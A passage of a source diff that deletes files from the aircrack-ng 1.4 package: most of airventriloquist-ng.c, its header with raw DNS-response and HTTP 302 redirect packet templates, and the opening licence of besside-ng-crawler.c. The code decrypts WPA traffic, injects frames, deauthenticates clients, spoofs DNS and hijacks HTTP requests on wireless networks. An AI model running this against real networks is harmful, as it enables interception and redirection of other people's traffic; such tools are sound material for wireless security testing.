-static bool is_wfrm_already_processed(u_int8_t * packet, int length)
-{
-	struct ieee80211_frame * wfrm = (struct ieee80211_frame *) packet;
-
-	// check if we haven't already processed this packet
-	// If we have, just return, don't process packet twice
-	u_int32_t crc = calc_crc_buf(packet, length);
-
-	// IF TODS
-	if (wfrm_is_tods(wfrm))
-	{
-		if (crc == opt.st_cur->t_crc)
-		{
-			return TRUE;
-		}
-		opt.st_cur->t_crc = crc;
-	}
-	// IF FROMDS
-	else if (wfrm_is_fromds(wfrm))
-	{
-		if (crc == opt.st_cur->f_crc)
-		{
-			return TRUE;
-		}
-		opt.st_cur->f_crc = crc;
-	}
-	// this frame hasn't been processed yet
-	return FALSE;
-}
-
-static struct llc_frame * find_llc_frm_ptr(u_int8_t * packet, int length)
-{
-	if (is_length_lt_wfrm(length)) return NULL;
-
-	int size_80211hdr = sizeof(struct ieee80211_frame);
-	if (is_wfrm_qos((struct ieee80211_frame *) packet))
-	{
-		size_80211hdr = sizeof(struct ieee80211_qosframe);
-	}
-
-	struct llc_frame * p_llc = (struct llc_frame *) (packet + size_80211hdr);
-	return p_llc;
-}
-
-static void process_wireless_data_packet(u_int8_t * packet, int length)
-{
-	u_int8_t * packet_start = packet;
-	int packet_start_length = length;
-
-	struct ieee80211_frame * wfrm = (struct ieee80211_frame *) packet;
-
-	if (is_adhoc_frame(packet))
-	{
-		return;
-	}
-	// u_int8_t *p_stmac = packet_get_sta_80211(packet);
-
-	// TEMP DEBUG CAESURUS
-	// if(p_stmac[5] != 0x07) return;
-
-	// process station,
-	// if it exists, opt.st_cur will point to it
-	// if it doesn't exist, it will create an entry
-	//    with opt.st_cur pointing to it
-	process_station_data(packet, length);
-
-	if (is_wfrm_already_processed(packet, length))
-	{
-		return;
-	}
-
-	struct llc_frame * p_llc = find_llc_frm_ptr(packet, length);
-	if (NULL == p_llc)
-	{
-		return;
-	}
-
-	// Check to see if this is an encrypted frame
-	if (0xAA != p_llc->i_dsap && 0xAA != p_llc->i_ssap)
-	{
-		// OK so it's not valid LLC, lets check WEP
-		struct wep_frame * p_wep = (struct wep_frame *) packet;
-
-		// check the extended IV flag
-		// I copied from airdecap-ng, not actually sure about WEP and don't care
-		// at this point
-		if ((wfrm->i_fc[1] & IEEE80211_FC1_WEP) && (0 != (p_wep->keyid & 0x20)))
-		{
-			// Unsupported ;)
-			printf("unsupported encryption\n");
-			return;
-		}
-		else
-		{
-			if (opt.crypt != CRYPT_WPA)
-			{
-				return;
-			}
-			// Apparently this is a WPA packet
-			// Don't bother with this if we don't have a valid ptk for this
-			// station
-			if ((NULL == opt.st_cur) || (!opt.st_cur->valid_ptk))
-			{
-				return;
-			}
-			else
-			{
-				// if the PTK is valid, try to decrypt
-				if (opt.st_cur->keyver == 1)
-				{
-					if (decrypt_tkip(packet_start,
-									 packet_start_length,
-									 opt.st_cur->ptk + 32)
-						== 0)
-					{
-						printf("TKIP decryption on this packet failed :( \n");
-						return;
-					}
-					// length -= 20;
-					// packet_start_length -= 20;
-				}
-				else
-				{
-					if (decrypt_ccmp(packet_start,
-									 packet_start_length,
-									 opt.st_cur->ptk + 32)
-						== 0)
-					{
-						printf("CCMP decryption on this packet failed :( \n");
-						hexDump("failed to decrypt",
-								packet_start,
-								packet_start_length);
-						// printf("\n");
-						return;
-					}
-					// length -= 16;
-					// packet_start_length -= 16;
-				}
-
-				process_unencrypted_data_packet(
-					packet_start, packet_start_length, 0);
-				return;
-			}
-		}
-	}
-	else if (0xAA == p_llc->i_dsap && 0xAA == p_llc->i_ssap)
-	{
-		process_unencrypted_data_packet(packet_start, packet_start_length, 0);
-	}
-	return;
-}
-
-static void process_wireless_packet(u_int8_t * packet, int length)
-{
-	struct ieee80211_frame * wfrm = (struct ieee80211_frame *) packet;
-	short fc = *wfrm->i_fc;
-
-	if ((IEEE80211_FC0_TYPE_DATA & fc))
-	{
-		process_wireless_data_packet(packet, length);
-	}
-	return;
-}
-
-static int do_active_injection(void)
-{
-	struct timeval tv;
-	fd_set rfds;
-	int caplen, ret;
-	int atime = 200;
-	memset(tmpbuf, 0, 4096);
-
-	printf("opt.port_out = %d, opt.s_face = %s\n", opt.port_out, opt.s_face);
-	if (opt.port_out > 0)
-	{
-		atime += 200;
-		PCT;
-		printf("Testing connection to injection device %s\n", opt.iface_out);
-		ret = tcp_test(opt.ip_out, opt.port_out);
-		if (ret != 0)
-		{
-			return (1);
-		}
-		printf("\n");
-
-		/* open the replay interface */
-		_wi_out = wi_open(opt.iface_out);
-		if (!_wi_out) return 1;
-		printf("\n");
-		dev.fd_out = wi_fd(_wi_out);
-		wi_get_mac(_wi_out, dev.mac_out);
-		if (opt.s_face == NULL)
-		{
-			_wi_in = _wi_out;
-			dev.fd_in = dev.fd_out;
-
-			/* XXX */
-			dev.arptype_in = dev.arptype_out;
-			wi_get_mac(_wi_in, dev.mac_in);
-		}
-	}
-
-	if (opt.s_face && opt.port_in > 0)
-	{
-		atime += 200;
-		PCT;
-		printf("Testing connection to capture device %s\n", opt.s_face);
-		ret = tcp_test(opt.ip_in, opt.port_in);
-		if (ret != 0)
-		{
-			return (1);
-		}
-		printf("\n");
-
-		/* open the packet source */
-		_wi_in = wi_open(opt.s_face);
-		if (!_wi_in) return 1;
-		dev.fd_in = wi_fd(_wi_in);
-		wi_get_mac(_wi_in, dev.mac_in);
-		printf("\n");
-	}
-	else if (opt.s_face && opt.port_in <= 0)
-	{
-		/* open the replay interface */
-		_wi_out = wi_open(opt.iface_out);
-		if (!_wi_out) return 1;
-		printf("\n");
-		dev.fd_out = wi_fd(_wi_out);
-		wi_get_mac(_wi_out, dev.mac_out);
-
-		_wi_in = wi_open(opt.s_face);
-		if (!_wi_in) return 1;
-		dev.fd_in = wi_fd(_wi_in);
-		wi_get_mac(_wi_in, dev.mac_in);
-		printf("s_face, port_in\n");
-	}
-
-	if (opt.port_in <= 0)
-	{
-		/* avoid blocking on reading the socket */
-		if (fcntl(dev.fd_in, F_SETFL, O_NONBLOCK) < 0)
-		{
-			perror("fcntl(O_NONBLOCK) failed");
-			return (1);
-		}
-	}
-
-	if (getnet(NULL, 0, 0) != 0) return 1;
-
-	srand(time(NULL));
-	// Set our bitrate to the loudest/most likely to reach the station/AP...
-	set_bitrate(_wi_out, RATE_1M);
-
-	// main Loop
-	while (1)
-	{
-		FD_ZERO(&rfds);
-		FD_SET(dev.fd_in, &rfds);
-
-		tv.tv_sec = 0;
-		tv.tv_usec = 1000; // one millisecond
-
-		if (select(dev.fd_in + 1, &rfds, NULL, NULL, &tv) < 0)
-		{
-			if (errno == EINTR) continue;
-			perror("select failed");
-			return (1);
-		}
-		if (!FD_ISSET(dev.fd_in, &rfds)) continue;
-
-		memset(h80211, 0, sizeof(h80211));
-		caplen = read_packet(h80211, sizeof(h80211), NULL);
-
-		// Ignore small frames...
-		if (caplen <= 30) continue;
-
-		// Check for 802.11 data frame, first byte is FC
-		if ((IEEE80211_FC0_TYPE_DATA & h80211[0]))
-		{
-			process_wireless_packet(h80211, caplen);
-		}
-	}
-}
-
-int main(int argc, char * argv[])
-{
-	int option = 0;
-	int option_index = 0;
-
-	memset(&dev, 0, sizeof(dev));
-	memset(&opt, 0, sizeof(struct options));
-
-	opt.f_type = -1;
-	opt.f_subtype = -1;
-	opt.f_minlen = -1;
-	opt.f_maxlen = -1;
-	opt.f_tods = -1;
-	opt.f_fromds = -1;
-	opt.f_iswep = -1;
-
-	opt.a_mode = -1;
-	opt.deauth = 0;
-	opt.delay = 15;
-	opt.r_smac_set = 0;
-	opt.npackets = 1;
-	opt.rtc = 1;
-	opt.f_retry = 0;
-	opt.reassoc = 0;
-	opt.s_face = NULL;
-	opt.iface_out = NULL;
-	opt.p_hijack_str = NULL;
-	opt.flag_verbose = 0;
-	opt.flag_icmp_resp = 0;
-	opt.flag_http_hijack = 0;
-	opt.flag_dnsspoof = 0;
-
-	char * p_redir_url = NULL;
-
-	progname = getVersion(
-		"Airventriloquist-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC);
-
-	while (1)
-	{
-
-		option_index = 0;
-		static struct option long_options[] = {{"redirect", 1, 0, 'r'},
-											   {"interface", 1, 0, 'i'},
-											   {"hijack", 1, 0, 's'},
-											   {"passphrase", 1, 0, 'p'},
-											   {"essid", 1, 0, 'e'},
-											   {"deauth", 0, 0, 'd'},
-											   {"icmp", 0, 0, 'c'},
-											   {"dns", 1, 0, 'n'},
-											   {"verbose", 0, 0, 'v'},
-											   {"help", 0, 0, 'h'},
-											   {0, 0, 0, 0}};
-
-		option = getopt_long(
-			argc, argv, "i:n:r:s:p:e:dcv", long_options, &option_index);
-
-		if (option < 0) break;
-
-		switch (option)
-		{
-			case 0:
-				break;
-
-			case 'i':
-				printf("Selected Interface is %s\n", optarg);
-				opt.s_face = opt.iface_out = optarg;
-				opt.port_in
-					= get_ip_port(opt.s_face, opt.ip_in, sizeof(opt.ip_in) - 1);
-				opt.port_out = get_ip_port(
-					opt.iface_out, opt.ip_out, sizeof(opt.ip_out) - 1);
-				break;
-
-			case 'v':
-				printf("Verbose enabled\n");
-				opt.flag_verbose = 1;
-				break;
-
-			case 'd':
-				printf("Deauthing enabled\n");
-				opt.deauth = 1;
-				break;
-
-			case 'c':
-				printf("Debugging by responding to ICMP enabled\n");
-				opt.flag_icmp_resp = 1;
-				break;
-
-			case 'r':
-				printf("Redirect: %s\n", optarg);
-				p_redir_url = optarg;
-				break;
-
-			case 'n':
-				printf("DNS IP: %s\n", optarg);
-				int retval = inet_pton(AF_INET, optarg, &opt.p_dnsspoof_ip);
-				if (1 != retval)
-				{
-					printf("Error occurred converting IP, please specify a "
-						   "valid IP, because apparently %s is not\n",
-						   optarg);
-					free(progname);
-					return EXIT_FAILURE;
-				}
-				opt.flag_dnsspoof = 1;
-				break;
-
-			case 's':
-				printf("Hijack search term: %s\n", optarg);
-				opt.p_hijack_str = optarg;
-				opt.flag_http_hijack = 1;
-				break;
-
-			case 'e':
-				if (opt.essid[0])
-				{
-					printf("ESSID already specified.\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					free(progname);
-					return EXIT_FAILURE;
-				}
-
-				memset(opt.essid, 0, sizeof(opt.essid));
-				strncpy(opt.essid, optarg, sizeof(opt.essid) - 1);
-				break;
-
-			case 'p':
-				if (opt.crypt != CRYPT_NONE)
-				{
-					printf("Encryption key already specified.\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					free(progname);
-					return EXIT_FAILURE;
-				}
-
-				opt.crypt = CRYPT_WPA;
-
-				memset(opt.passphrase, 0, sizeof(opt.passphrase));
-				strncpy(opt.passphrase, optarg, sizeof(opt.passphrase) - 1);
-				break;
-
-			case 'h':
-				printf(usage, progname);
-				free(progname);
-				return EXIT_SUCCESS;
-
-			default:
-			// intentional fall through
-			case ':':
-				printf("\"%s --help\" for help.\n", argv[0]);
-		}
-	}
-
-	if (opt.crypt == CRYPT_WPA)
-	{
-		if (opt.passphrase[0] != '\0')
-		{
-			/* compute the Pairwise Master Key */
-
-			if (opt.essid[0] == '\0')
-			{
-				printf("You must also specify the ESSID (-e). This is the "
-					   "broadcast SSID name\n");
-				printf("\"%s --help\" for help.\n", argv[0]);
-				return (1);
-			}
-
-			calc_pmk(opt.passphrase, opt.essid, opt.pmk);
-		}
-	}
-
-	if (1 == opt.flag_http_hijack)
-	{
-
-		if (NULL != opt.p_hijack_str)
-		{
-			printf("hijack string = %s\n", opt.p_hijack_str);
-		}
-		else
-		{
-			printf("ERROR: No proper hijack string defined\n");
-		}
-
-		if (NULL != p_redir_url)
-		{
-			opt.p_redir_url = p_redir_url;
-
-			printf("We have a redirect specified\n");
-			char * p_url = strstr(packet302_redirect, REDIRECT_PLACEHOLDER);
-
-			int total_len = strlen(packet302_redirect)
-							- strlen(REDIRECT_PLACEHOLDER)
-							+ strlen(p_redir_url);
-
-			// Allocate memory if we're modifying this
-			opt.p_redir_pkt_str = malloc(total_len);
-			if (opt.p_redir_pkt_str != NULL)
-			{
-				char * p_curr = opt.p_redir_pkt_str;
-				int len_first = p_url - packet302_redirect;
-				// Copy the first part of the packet up to the URL in the header
-				memcpy(p_curr, packet302_redirect, len_first);
-
-				// Next copy the specified redirection URL from user input
-				p_curr = opt.p_redir_pkt_str + len_first;
-				memcpy(p_curr, p_redir_url, strlen(p_redir_url));
-
-				// Copy the remainder of the packet...
-				p_curr += strlen(p_redir_url);
-				memcpy(p_curr,
-					   p_url + strlen(REDIRECT_PLACEHOLDER),
-					   total_len - len_first - strlen(p_redir_url));
-			}
-			else
-			{
-				printf("ERROR: wasn't able to allocate the memory needed to do "
-					   "redirect... \n");
-				exit(1);
-			}
-		}
-		else
-		{
-			printf("WARNING: \n\tHijack term specified but no redirect "
-				   "specified\n");
-			printf("\tUsing the default redirect specified\n");
-			// Using default redirect in the hardcoded header....
-			opt.p_redir_pkt_str = packet302_redirect;
-		}
-	}
-
-	if (opt.s_face == NULL)
-	{
-		printf(usage, progname);
-		free(progname);
-		printf(COL_RED "Error, a interface must be specified\n\n" COL_REST);
-		return EXIT_FAILURE;
-	}
-
-	/* drop privileges */
-	if (setuid(getuid()) == -1)
-	{
-		perror("setuid");
-	}
-
-	/* XXX */
-	if (opt.r_nbpps == 0)
-	{
-		if (dev.is_wlanng || dev.is_hostap)
-			opt.r_nbpps = 200;
-		else
-			opt.r_nbpps = 500;
-	}
-
-	/*
-	   random source so we can identify our packets
-	*/
-	opt.r_smac[0] = 0x00;
-	opt.r_smac[1] = rand() & 0xFF;
-	opt.r_smac[2] = rand() & 0xFF;
-	opt.r_smac[3] = rand() & 0xFF;
-	opt.r_smac[4] = rand() & 0xFF;
-	opt.r_smac[5] = rand() & 0xFF;
-
-	opt.r_smac_set = 1;
-
-	// if there is no -h given, use default hardware mac
-
-	if (maccmp(opt.r_smac, NULL_MAC) == 0)
-	{
-		memcpy(opt.r_smac, dev.mac_out, 6);
-		if (opt.a_mode != 0 && opt.a_mode != 4 && opt.a_mode != 9)
-		{
-			printf("No source MAC (-h) specified. Using the device MAC "
-				   "(%02X:%02X:%02X:%02X:%02X:%02X)\n",
-				   dev.mac_out[0],
-				   dev.mac_out[1],
-				   dev.mac_out[2],
-				   dev.mac_out[3],
-				   dev.mac_out[4],
-				   dev.mac_out[5]);
-		}
-		printf("Using device MAC (%02X:%02X:%02X:%02X:%02X:%02X)\n",
-			   dev.mac_out[0],
-			   dev.mac_out[1],
-			   dev.mac_out[2],
-			   dev.mac_out[3],
-			   dev.mac_out[4],
-			   dev.mac_out[5]);
-	}
-
-	if (maccmp(opt.r_smac, dev.mac_out) != 0
-		&& maccmp(opt.r_smac, NULL_MAC) != 0)
-	{
-		fprintf(stderr,
-				"The interface MAC (%02X:%02X:%02X:%02X:%02X:%02X)"
-				" doesn't match the specified MAC (-h).\n"
-				"\tifconfig %s hw ether %02X:%02X:%02X:%02X:%02X:%02X\n",
-				dev.mac_out[0],
-				dev.mac_out[1],
-				dev.mac_out[2],
-				dev.mac_out[3],
-				dev.mac_out[4],
-				dev.mac_out[5],
-				opt.iface_out,
-				opt.r_smac[0],
-				opt.r_smac[1],
-				opt.r_smac[2],
-				opt.r_smac[3],
-				opt.r_smac[4],
-				opt.r_smac[5]);
-	}
-
-	return (do_active_injection());
-
-	// return 1;
-}

aircrack-ng-1.4.tar.gz/src/airventriloquist-ng.h Deleted

@@ -1,324 +0,0 @@
-#include <stdint.h>
-
-static const uint32_t crc32_ccitt_table[256]
-	= {0x00000000, 0x77073096, 0xee0e612c, 0x990951ba, 0x076dc419, 0x706af48f,
-	   0xe963a535, 0x9e6495a3, 0x0edb8832, 0x79dcb8a4, 0xe0d5e91e, 0x97d2d988,
-	   0x09b64c2b, 0x7eb17cbd, 0xe7b82d07, 0x90bf1d91, 0x1db71064, 0x6ab020f2,
-	   0xf3b97148, 0x84be41de, 0x1adad47d, 0x6ddde4eb, 0xf4d4b551, 0x83d385c7,
-	   0x136c9856, 0x646ba8c0, 0xfd62f97a, 0x8a65c9ec, 0x14015c4f, 0x63066cd9,
-	   0xfa0f3d63, 0x8d080df5, 0x3b6e20c8, 0x4c69105e, 0xd56041e4, 0xa2677172,
-	   0x3c03e4d1, 0x4b04d447, 0xd20d85fd, 0xa50ab56b, 0x35b5a8fa, 0x42b2986c,
-	   0xdbbbc9d6, 0xacbcf940, 0x32d86ce3, 0x45df5c75, 0xdcd60dcf, 0xabd13d59,
-	   0x26d930ac, 0x51de003a, 0xc8d75180, 0xbfd06116, 0x21b4f4b5, 0x56b3c423,
-	   0xcfba9599, 0xb8bda50f, 0x2802b89e, 0x5f058808, 0xc60cd9b2, 0xb10be924,
-	   0x2f6f7c87, 0x58684c11, 0xc1611dab, 0xb6662d3d, 0x76dc4190, 0x01db7106,
-	   0x98d220bc, 0xefd5102a, 0x71b18589, 0x06b6b51f, 0x9fbfe4a5, 0xe8b8d433,
-	   0x7807c9a2, 0x0f00f934, 0x9609a88e, 0xe10e9818, 0x7f6a0dbb, 0x086d3d2d,
-	   0x91646c97, 0xe6635c01, 0x6b6b51f4, 0x1c6c6162, 0x856530d8, 0xf262004e,
-	   0x6c0695ed, 0x1b01a57b, 0x8208f4c1, 0xf50fc457, 0x65b0d9c6, 0x12b7e950,
-	   0x8bbeb8ea, 0xfcb9887c, 0x62dd1ddf, 0x15da2d49, 0x8cd37cf3, 0xfbd44c65,
-	   0x4db26158, 0x3ab551ce, 0xa3bc0074, 0xd4bb30e2, 0x4adfa541, 0x3dd895d7,
-	   0xa4d1c46d, 0xd3d6f4fb, 0x4369e96a, 0x346ed9fc, 0xad678846, 0xda60b8d0,
-	   0x44042d73, 0x33031de5, 0xaa0a4c5f, 0xdd0d7cc9, 0x5005713c, 0x270241aa,
-	   0xbe0b1010, 0xc90c2086, 0x5768b525, 0x206f85b3, 0xb966d409, 0xce61e49f,
-	   0x5edef90e, 0x29d9c998, 0xb0d09822, 0xc7d7a8b4, 0x59b33d17, 0x2eb40d81,
-	   0xb7bd5c3b, 0xc0ba6cad, 0xedb88320, 0x9abfb3b6, 0x03b6e20c, 0x74b1d29a,
-	   0xead54739, 0x9dd277af, 0x04db2615, 0x73dc1683, 0xe3630b12, 0x94643b84,
-	   0x0d6d6a3e, 0x7a6a5aa8, 0xe40ecf0b, 0x9309ff9d, 0x0a00ae27, 0x7d079eb1,
-	   0xf00f9344, 0x8708a3d2, 0x1e01f268, 0x6906c2fe, 0xf762575d, 0x806567cb,
-	   0x196c3671, 0x6e6b06e7, 0xfed41b76, 0x89d32be0, 0x10da7a5a, 0x67dd4acc,
-	   0xf9b9df6f, 0x8ebeeff9, 0x17b7be43, 0x60b08ed5, 0xd6d6a3e8, 0xa1d1937e,
-	   0x38d8c2c4, 0x4fdff252, 0xd1bb67f1, 0xa6bc5767, 0x3fb506dd, 0x48b2364b,
-	   0xd80d2bda, 0xaf0a1b4c, 0x36034af6, 0x41047a60, 0xdf60efc3, 0xa867df55,
-	   0x316e8eef, 0x4669be79, 0xcb61b38c, 0xbc66831a, 0x256fd2a0, 0x5268e236,
-	   0xcc0c7795, 0xbb0b4703, 0x220216b9, 0x5505262f, 0xc5ba3bbe, 0xb2bd0b28,
-	   0x2bb45a92, 0x5cb36a04, 0xc2d7ffa7, 0xb5d0cf31, 0x2cd99e8b, 0x5bdeae1d,
-	   0x9b64c2b0, 0xec63f226, 0x756aa39c, 0x026d930a, 0x9c0906a9, 0xeb0e363f,
-	   0x72076785, 0x05005713, 0x95bf4a82, 0xe2b87a14, 0x7bb12bae, 0x0cb61b38,
-	   0x92d28e9b, 0xe5d5be0d, 0x7cdcefb7, 0x0bdbdf21, 0x86d3d2d4, 0xf1d4e242,
-	   0x68ddb3f8, 0x1fda836e, 0x81be16cd, 0xf6b9265b, 0x6fb077e1, 0x18b74777,
-	   0x88085ae6, 0xff0f6a70, 0x66063bca, 0x11010b5c, 0x8f659eff, 0xf862ae69,
-	   0x616bffd3, 0x166ccf45, 0xa00ae278, 0xd70dd2ee, 0x4e048354, 0x3903b3c2,
-	   0xa7672661, 0xd06016f7, 0x4969474d, 0x3e6e77db, 0xaed16a4a, 0xd9d65adc,
-	   0x40df0b66, 0x37d83bf0, 0xa9bcae53, 0xdebb9ec5, 0x47b2cf7f, 0x30b5ffe9,
-	   0xbdbdf21c, 0xcabac28a, 0x53b39330, 0x24b4a3a6, 0xbad03605, 0xcdd70693,
-	   0x54de5729, 0x23d967bf, 0xb3667a2e, 0xc4614ab8, 0x5d681b02, 0x2a6f2b94,
-	   0xb40bbe37, 0xc30c8ea1, 0x5a05df1b, 0x2d02ef8d};
-
-struct net_hdr
-{
-	uint8_t nh_type;
-	uint32_t nh_len;
-	uint8_t nh_data[0];
-} __packed;
-
-struct llc_frame
-{
-	u_int8_t i_dsap;
-	u_int8_t i_ssap;
-	u_int8_t i_ctrl;
-	u_int8_t i_org[3];
-	u_int16_t i_ethtype;
-} __attribute__((packed));
-
-struct wep_frame
-{
-	u_int8_t iv1;
-	u_int8_t iv2;
-	u_int8_t iv3;
-	u_int8_t keyid;
-} __attribute__((packed));
-
-struct ip_frame
-{
-	u_int8_t ver;
-	u_int8_t tos;
-	u_int16_t tot_len;
-	u_int16_t id;
-	u_int16_t frag_off;
-	u_int8_t ttl;
-	u_int8_t protocol;
-	u_int16_t check;
-	u_int32_t saddr;
-	u_int32_t daddr;
-} __attribute__((packed));
-
-struct udp_hdr
-{
-	u_int16_t sport;
-	u_int16_t dport;
-	u_int16_t len;
-	u_int16_t checksum;
-} __attribute__((packed));
-
-struct tcp_hdr
-{
-	u_int16_t sport;
-	u_int16_t dport;
-	u_int32_t seqnu;
-	u_int32_t ack_seq;
-	// u_int16_t len_flags;
-	u_int16_t res1 : 4, doff : 4, fin : 1, syn : 1, rst : 1, psh : 1, ack : 1,
-		urg : 1, ece : 1, cwr : 1;
-	u_int16_t window;
-	u_int16_t checksum;
-	u_int16_t urg_ptr;
-} __attribute__((packed));
-
-/*
- * Internal of an ICMP Router Advertisement
- */
-struct icmp_ra_addr
-{
-	u_int32_t ira_addr;
-	u_int32_t ira_preference;
-};
-
-struct icmp
-{
-	u_int8_t icmp_type; /* type of message, see below */
-	u_int8_t icmp_code; /* type sub code */
-	u_int16_t icmp_cksum; /* ones complement checksum of struct */
-	union {
-		u_char ih_pptr; /* ICMP_PARAMPROB */
-		struct in_addr ih_gwaddr; /* gateway address */
-		struct ih_idseq /* echo datagram */
-		{
-			u_int16_t icd_id;
-			u_int16_t icd_seq;
-		} ih_idseq;
-		u_int32_t ih_void;
-
-		/* ICMP_UNREACH_NEEDFRAG -- Path MTU Discovery (RFC1191) */
-		struct ih_pmtu
-		{
-			u_int16_t ipm_void;
-			u_int16_t ipm_nextmtu;
-		} ih_pmtu;
-
-		struct ih_rtradv
-		{
-			u_int8_t irt_num_addrs;
-			u_int8_t irt_wpa;
-			u_int16_t irt_lifetime;
-		} ih_rtradv;
-	} icmp_hun;
-
-#define icmp_pptr icmp_hun.ih_pptr
-#define icmp_gwaddr icmp_hun.ih_gwaddr
-#define icmp_id icmp_hun.ih_idseq.icd_id
-#define icmp_seq icmp_hun.ih_idseq.icd_seq
-#define icmp_void icmp_hun.ih_void
-#define icmp_pmvoid icmp_hun.ih_pmtu.ipm_void
-#define icmp_nextmtu icmp_hun.ih_pmtu.ipm_nextmtu
-#define icmp_num_addrs icmp_hun.ih_rtradv.irt_num_addrs
-#define icmp_wpa icmp_hun.ih_rtradv.irt_wpa
-#define icmp_lifetime icmp_hun.ih_rtradv.irt_lifetime
-	union {
-		struct
-		{
-			u_int32_t its_otime;
-			u_int32_t its_rtime;
-			u_int32_t its_ttime;
-		} id_ts;
-		struct
-		{
-			struct ip_frame idi_ip;
-			/* options and then 64 bits of data */
-		} id_ip;
-		struct icmp_ra_addr id_radv;
-		u_int32_t id_mask;
-		u_int8_t id_data[1];
-	} icmp_dun;
-#define icmp_otime icmp_dun.id_ts.its_otime
-#define icmp_rtime icmp_dun.id_ts.its_rtime
-#define icmp_ttime icmp_dun.id_ts.its_ttime
-#define icmp_ip icmp_dun.id_ip.idi_ip
-#define icmp_radv icmp_dun.id_radv
-#define icmp_mask icmp_dun.id_mask
-#define icmp_data icmp_dun.id_data
-};
-
-struct dns_query
-{
-	u_int16_t tid;
-	u_int16_t flags;
-	u_int16_t questions;
-	u_int16_t rrs; // answer RRs
-	u_int16_t arrs; // authority RRs
-	u_int16_t xrrs; // additional RRs
-	u_int8_t qdata;
-};
-
-struct dot1x_hdr
-{
-	u_int8_t code;
-	u_int8_t idtype;
-	u_int16_t length;
-};
-
-#define DOT1X_CODE_REQ 0x1
-#define DOT1X_CODE_RES 0x2
-#define DOT1X_CODE_SEC 0x3
-#define DOT1X_CODE_FAIL 0x4
-
-#define DOT1X_ID_EAP_PACKET 0x0
-#define DOT1X_ID_EAP_START 0x1
-#define DOT1X_ID_EAP_LOGOFF 0x2
-#define DOT1X_ID_EAP_KEY 0x3
-
-struct radius_hdr
-{
-	u_int8_t code;
-	u_int8_t key_mic : 1, key_secure : 1, key_error : 1, key_request : 1,
-		key_enc : 1, resv : 3;
-	u_int8_t key_ver : 3, key_type : 1, key_index : 2, key_install : 1,
-		key_ack : 1;
-	u_int16_t length;
-	u_int8_t replaycnt[8];
-	u_int8_t wpa_nonce[32];
-	u_int8_t wpa_key_iv[16];
-	u_int8_t wpa_key_rsc[8];
-	u_int8_t wpa_key_id[8];
-	u_int8_t wpa_key_mic[16];
-	u_int16_t wpa_key_len;
-	u_int8_t wpa_key_datap; // data starts here
-} __attribute__((packed));
-
-#define ETHTYPE_IP 0x08
-#define ETHTYPE_8021x 0x8E88
-#define PROTO_ICMP 0x01
-#define PROTO_TCP 0x06
-#define PROTO_UDP 0x11
-
-#define CRYPT_NONE 0
-#define CRYPT_WEP 1
-#define CRYPT_WPA 2
-
-#ifndef TRUE
-#define TRUE 1
-#endif
-#ifndef FALSE
-#define FALSE 0
-#endif
-
-#define PRINTMAC(b)                                                            \
-	printf("%2.2X:%2.2X:%2.2X:%2.2X:%2.2X:%2.2X\n",                            \
-		   b[0],                                                               \
-		   b[1],                                                               \
-		   b[2],                                                               \
-		   b[3],                                                               \
-		   b[4],                                                               \
-		   b[5]);
-
-#define DNS_RESP_PCKT                                                          \
-	"\x6d\x95\x81\x80"                                                         \
-	"\x00\x01"                                                                 \
-	"\x00\x01"                                                                 \
-	"\x00\x00"                                                                 \
-	"\x00\x00"                                                                 \
-	"\x03\x77\x77\x77"                                                         \
-	"\x04\x61\x73\x64\x66"                                                     \
-	"\x03\x63\x6f\x6d\x00"                                                     \
-	"\x00\x01"                                                                 \
-	"\x00\x01"                                                                 \
-	"\xc0\x0c"                                                                 \
-	"\x00\x01"                                                                 \
-	"\x00\x01"                                                                 \
-	"\x00\x00\x14\xb4"                                                         \
-	"\x00\x04"                                                                 \
-	"\x45\xa3\xf0\xc0"
-
-#define DNS_RESP_PCKT_1                                                        \
-	"\x6d\x95\x81\x80"                                                         \
-	"\x00\x01"                                                                 \
-	"\x00\x01"                                                                 \
-	"\x00\x00"                                                                 \
-	"\x00\x00"
-
-#define DNS_RESP_PCKT_2                                                        \
-	"\x00\x01"                                                                 \
-	"\x00\x01"                                                                 \
-	"\xc0\x0c"                                                                 \
-	"\x00\x01"                                                                 \
-	"\x00\x01"                                                                 \
-	"\x00\x00\x14\xb4"                                                         \
-	"\x00\x04"                                                                 \
-	"\xC0\xA8\x01\x66"
-
-#define COL_RED "\e[31m"
-#define COL_RED_BOLD "\e[1;31m"
-#define COL_GREEN "\e[32m"
-#define COL_BLUE "\e[34m"
-#define COL_PURPLE "\e[35m"
-#define COL_GRAY "\e[36m"
-#define COL_GRAY_LIGHT "\e[37m"
-#define COL_REST "\e[m"
-
-#define COL_4WAYHS COL_GRAY
-#define COL_4WAYKEY COL_PURPLE
-#define COL_4WAYKEYDATA COL_GREEN
-#define COL_NEWSTA COL_GREEN
-#define COL_NEWSTADATA COL_GRAY
-#define COL_HTTPINJECT COL_RED
-#define COL_HTTPINJECTDATA COL_RED_BOLD
-
-#define REDIRECT_PLACEHOLDER "https://www.google.com/?gws_rd=ssl"
-
-char * packet302_redirect = "HTTP/1.1 302 Found\r\n\
-Location: https://www.google.com/?gws_rd=ssl\r\n\
-Cache-Control: private\r\n\
-Content-Type: text/html; charset=UTF-8\r\n\
-Date: Sun, 30 Nov 2014 03:25:47 GMT\r\n\
-Server: gws\r\n\
-Content-Length: 231\r\n\
-X-XSS-Protection: 1; mode=block\r\n\
-X-Frame-Options: SAMEORIGIN\r\n\
-Alternate-Protocol: 80:quic,p=0.02\r\n\
-\r\n\
-<HTML><HEAD><meta http-equiv=\"content-type\" content=\"text/html;charset=utf-8\">\n\
-<TITLE>302 Moved</TITLE></HEAD><BODY>\n\
-<H1>302 Moved</H1>\n\
-The document has moved\n\
-<A HREF=\"https://www.google.com/?gws_rd=ssl\">here</A>.\r\n\
-</BODY></HTML>\r\n";

aircrack-ng-1.4.tar.gz/src/besside-ng-crawler.c Deleted

@@ -1,433 +0,0 @@
-/*
- *  Copyright (C) 2010 Pedro Larbig <pedro.larbig@carhs.de>
- *
- *  This program is free software; you can redistribute it and/or modify
- *  it under the terms of the GNU General Public License as published by
- *  the Free Software Foundation; either version 2 of the License, or
- *  (at your option) any later version.
- *
- *  This program is distributed in the hope that it will be useful,
- *  but WITHOUT ANY WARRANTY; without even the implied warranty of
- *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- *  GNU General Public License for more details.
- *
- *  You should have received a copy of the GNU General Public License
- *  along with this program; if not, write to the Free Software
- *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
- *
- *
- *  In addition, as a special exception, the copyright holders give
